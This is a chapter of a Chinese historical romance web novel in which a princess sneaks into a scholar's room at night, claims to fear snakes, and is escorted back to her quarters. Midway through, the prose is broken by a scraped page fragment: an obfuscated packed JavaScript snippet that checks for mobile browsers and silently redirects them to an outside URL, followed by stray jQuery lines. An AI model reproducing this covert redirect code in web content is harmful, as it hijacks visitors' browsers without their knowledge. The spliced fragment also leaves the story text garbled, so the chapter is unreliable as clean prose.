几乎是刚翻完窗子的当下,宁瑶就后悔了。
深夜来访,同家丁解释一二未尝不可…她怎么就鬼使神差地从他窗叶翻进去了?
果然还是下午听八卦听得太多…
她不禁扶额苦笑,心道要是让这呆子发现,在清菡那也和跳进黄河差不多。
甚至,还会更糟些。
世无后悔药。翻窗动静大,外头的家丁又已然走到屋前,如今,她纵然想翻出去也不成了。
好在她进屋后,只见室内火烛尽熄,正是一片漆黑。
宁瑶先前特意让府上侍从观察过,这呆子除了有时会睡懒觉外,生活作息都极为规律。此时月过中天…想来必然是睡了。
得到这个答案,不禁心下微喜。
她蹑手蹑脚、动作极轻地绕过主卧,想藉由徐知远屋后的小门,自他同她屋子后头连着的那条廊道回房。
窸窸窣窣的声音被压到极低,只见她的手已经挨到门上,就要推门而出时——
身后传来一个疑惑的声音。
“……阿瑶?”
宁瑶绝望地闭了闭眼,觉得这别庄,绝对是来克她的。
……
人在尴尬的时候,就会很忙。
恰如此时,迎着徐知远燃起火烛,朝她而来的身影,宁瑶的手指迅速在门边的架格上上下翻飞,自己也不知道再找什么能掩饰太平,又朝他疑惑望来的眼神尴尬一笑。
他静静望着,倒是从容不迫。她左右翻找,尴尬得很。
满室气氛似乎都凝在这无言之中,唯有夜风轻吹,隔过半开的窗扉拂入房中。
烛盏被风吹得幽微。只见他桃花眸多情似水,盈着几许笑意,半晌方道:
“阿瑶…在找什么?”
宁瑶也被他问得一愣。
她以为他会问她为何深夜在旁人房中、为何动作小心谨慎,为何在他书架翻找二三。
她理由都想好了,就理直气壮地说自己…孤枕难眠。
然而没想到这呆子不走寻常路。
“我…我…”宁瑶感觉自己是听了一下午八卦、连着那一两句闺房情语被冲昏了头。她支支吾吾,脑中空白,不知如何对答。
忽而一霎灵光一动,想起今天晚膳过后,尘风曾同徐知远说,林中多蛇,为他备了驱蛇粉在架格之上。
她立时道,“我房中好像进蛇了。问了尘风,说你这有些驱蛇粉。”
宁瑶说罢,眼神一尖便瞧见那绿色小瓶正静静摆在架格最高处。
她努力伸手去够,“我把药粉拿了就走…你先睡吧。”
话音未落,只感觉身侧人动得比她还快。
那周身同她的花香全然不同的、冷冷的檀香,忽随她打开的窗叶,随着清冷的山风,轻轻地飘到她鼻尖。
“我帮你。”
两人身量相差甚多,她掂了脚尖尚且够不着的药瓶,徐知远却微微抬手便拿到了。
别庄的架格窄小,此时此刻,两人挨得极近。
随着那冷冽的气息香味更加清晰滴传入她鼻尖,宁瑶心道:这人方才,也许确实歇下了。
因着此刻他不过穿着一件素白的轻薄袍子,端着烛台替她去够药粉。
而细棉轻纱的交领之间,他清瘦的锁骨便在一举一动间若隐若现。
宁瑶并不是没见过旁人身姿,也并不觉得自己是为色所惑之人。
只不过这样的想法好似每回都在他身上栽跟头。
梦里她只是惊鸿一瞥便动了春心,而今她惊鸿一瞥,也忍不住暗暗勾勒素袍下的鹤骨玉姿。
宽肩窄腰,身形颀长。他明明不曾练武,只是一副清俊的书生样。然而隔着衣裳看去,肌肉却很紧实有力,一条淡色丝绦系住睡袍,更显得窄腰盈盈一握。
素袍白裳,他乌发垂散落在肩头,衬得面色如玉。而走近了,也就闻到那悠悠檀香。
这样浓烈的意味…实在是不言自明啊。
要不是深知这人确是呆子,小郡主禁不住地怀疑——
他是不是故意的?
明明刚才就已经口齿清晰地喊出那声“阿瑶”,明明就可以披一身衣服再出来…明明他们读书人,不是最讲究衣冠严整?
从前紧盯着他时,她没害羞。抱他时,她也没害羞。
因着心知一切不过逢场作戏,他于梦中百般羞辱,才让她颜面尽失前来报复。
然而现在两人靠得这样近,就好像贴在一道一样。
宁瑶面不改色地去摸了摸自己的脸。
……有点烫。
二人几乎靠在一道。徐知远乍一低头,便见着这幅情景。
只见那素来天不怕地不怕的少女此时脸颊耳根已红成一片炽色。她杏眸含水,刻意躲开他的目光,纵是烛台明灭,光线微弱,那抹红晕也清晰可见。
他轻轻将药粉递给她,二人指尖交触,宁瑶又感觉心上一阵酥麻。
谁知这人偏不放过她。
望着她烧红的脸,他似乎当真实打实的困惑,又有些好笑般的轻道,
“阿瑶,你脸好红。”
宁瑶气急反笑。
……废话,都红成这样了,她能不知道吗?!
见她不答,这人又得寸进尺,状似不知般沉吟道:
“阿瑶,你是不是…”
不知道他想说什么,但宁瑶直觉不能让他说出口。
她顿时否认道:“不是!”
害羞?怎么可能,瑶华郡主什么没见过?才不会害羞。
她有些恨恨地瞪他一眼,却叫这绮丽的脸颊映着,眸中水光潋滟。
见此情景,徐知远好笑地挑了挑眉。
因为他确实是故意的。
从那天被她抱在怀间,他发觉宁瑶对他春光半泄,矫揉造作的柔弱模样简直……毫无抗拒。
而眼下也不例外。
他盈着笑望她,眼前人便逃避一般侧开了羞绯的脸,“不是…我只是怕蛇而已。”
心中仿佛终于为这慌里慌张找到借口,宁瑶长长地吐出一口气,又拿着药瓶急道,“我现下回去了,你快睡吧。”
她说完匆匆地便要离去,抽身的一刻,觉得衣袖被人蓦地一拉。
一片澄澈月光自窗棂盈盈洒下,月凉如水,照得那双白玉一般的手极为克制地伸出,揪住。
宁瑶猜疑顿时尽消。
她原本怀疑这人究竟是不是别有用心,赤裸裸地故意勾引。然而哪个勾引的人,会在四下无人、烛火未燃,任谁也不知道发生什么的房中…
牵住她的袖子?
只听徐知远温声一笑:
“夜里黑,我送你回屋吧。”
他这话说得格外从容不迫,仿佛不是送她回屋,而只是问她要不要用茶,吃不吃点心。
宁瑶一时愣住,没说好,也没说不好。
她有些目瞪口呆地看他默认后,行云流水地举起烛台,便要为她推门,忍不住直瞪眼,“你就这样送我回屋吗?”
他神色无辜:“阿瑶,我不是很怕冷…”
话音未落,只见那姿容明丽的少女已眼疾手快地撩起尘风放在他椅后的外袍,别开脸,莹白的脸上红晕未退,气鼓鼓地道,
“你把这个穿上。”
…
幼时读书时,先生说,“满园春色关不住。”
小郡主天资聪慧、聪颖非常,素来一点就通,此刻却犯了傻,好奇地问,如果关住了呢?
宁瑶现在想到这番言论,觉得自己终于可以给出一个答复。
把春色关在园中…
就是只许一人窥见的。
*
徐知远从善如流地穿好外袍,又给她找了一件。<
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15234470|166022||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
/p>
因为是来找清菡,她穿得倒是十分随意,一身雪青色的中衣,在外间又搭了件藕荷色天香绢秋衫。
此刻,还罩了一件徐知远云灰色的薄氅。
而看着眼前小题大做的人,她很想说,习武之人自有内力护体,区区寒风,都不够她练功的。
不过,她现在是身娇体弱的大小姐,又是被苏家探子盯着的书生娘子,因而还是很乖巧地接下了他的衣服。
徐知远身形高挑,她穿着反而有些勉强,只好提提衣摆,同他一道向屋中走去。
檀香袭人,仿佛浸透了衣衫的每个角落。浓郁又干燥,温和却沉稳。
倒很有他的做派。
她只是虚虚地拢着外袍,都觉得自己仿佛行进在一片深旷的檀木林之中,不知西东。
两人同行,默默无言。
宁瑶刚欲开口一问他下午都和苏从云聊了什么,却听他的声音泠泠似泉,荡在风中,打破了片刻安静,
“阿瑶…很怕蛇?”
他沉吟着,稍显迟疑地问出了声。
他抛出这个问题,宁瑶反倒一愣。
她有些磕磕绊绊地答应了一声,索性又大方地答道,“嗯。怕蛇。”
其实这并非假话。
八岁那年,她被一只碗口大的巨蟒袭击,吓得不轻。
…只不过,次日,就被父王拎去了王府后山,足足掐了半个山头的蛇的七寸。
自那之后,宁瑶就再没怕过蛇了。
不过此时此地,这倒是个糊弄他的好借口。
她目光一转,“你不怕吗?”
徐知远一笑,“以前会怕,后来…”他声音渐低,微笑道,“倒是不怎么怕了。”
他闲话般道,“南城阴雨绵绵,南河护城,一周环山环水,小蛇也多。”
他说得稀松平常,宁瑶却喝了一声,“等等,地上这是什么?!”
徐知远手肘被她拉着,手腕被她握着,闻言险些一个趔趄,刚巧不偏不倚地落在她肩上,而顺目望去撒下一片澄澈月光的石道,那儿正一片静谧,并无动静。
生事者笑眼眯眯,“骗你的。呆子。”
清菡也怕蛇怕得打紧。这别庄什么都能出现,但那位从云公子,是决不会允许有蛇的。
宁瑶眼眸一眯,见他反应过激,霎时想通了为什么尘风还要特地把药粉拿来给他,又煞费其事地交代良多。
她不禁深深望了眼前人一眼。
明明就很怕蛇,为何逞强?
思索间,两人闲话二三,行至她屋前。
宁瑶怀揣着重重思绪,打开房门后像模像样地洒了洒药粉,就催着徐知远离去。
她杏眸一弯,像小猫一样,“你快回去睡觉吧,我也有点乏了。”
说完,却把药粉不由分说地塞进他手里,又道,“从云娘子也极怕蛇,别庄里大约不会有蛇出没了。不过你拿着,安心些。”
那药瓶被她攥在掌间许久,似乎也残留着她的余温。
他站在月下,披一身月光。
银灰色云锦织就的外衫搭在他肩头,月色柔和地落在他发间眉梢,越发显得他一双多情的桃花眸中亮得出奇,目如秋水,眸光流转。
许是今日月色明亮,她凑近来看,发觉他眉间有一颗淡淡的小痣。
如此心如止水的场景,她竟然忍不住沿着那薄氅下摆,一点一点回忆起春色荡漾。
几乎是想起的一瞬间,宁瑶的脸腾一下又烧起来。没等他回应就关上房门,只剩下一道细细的小缝。
他倒是并不恼,仍旧眼中带笑地同她对望。
宁瑶闷闷地隔着门缝看他——
只见徐知远湛然一笑。
“阿瑶,明天见。”
霎那,呼啸了一夜的山风忽止。
衣衫中残存一脉静默檀香。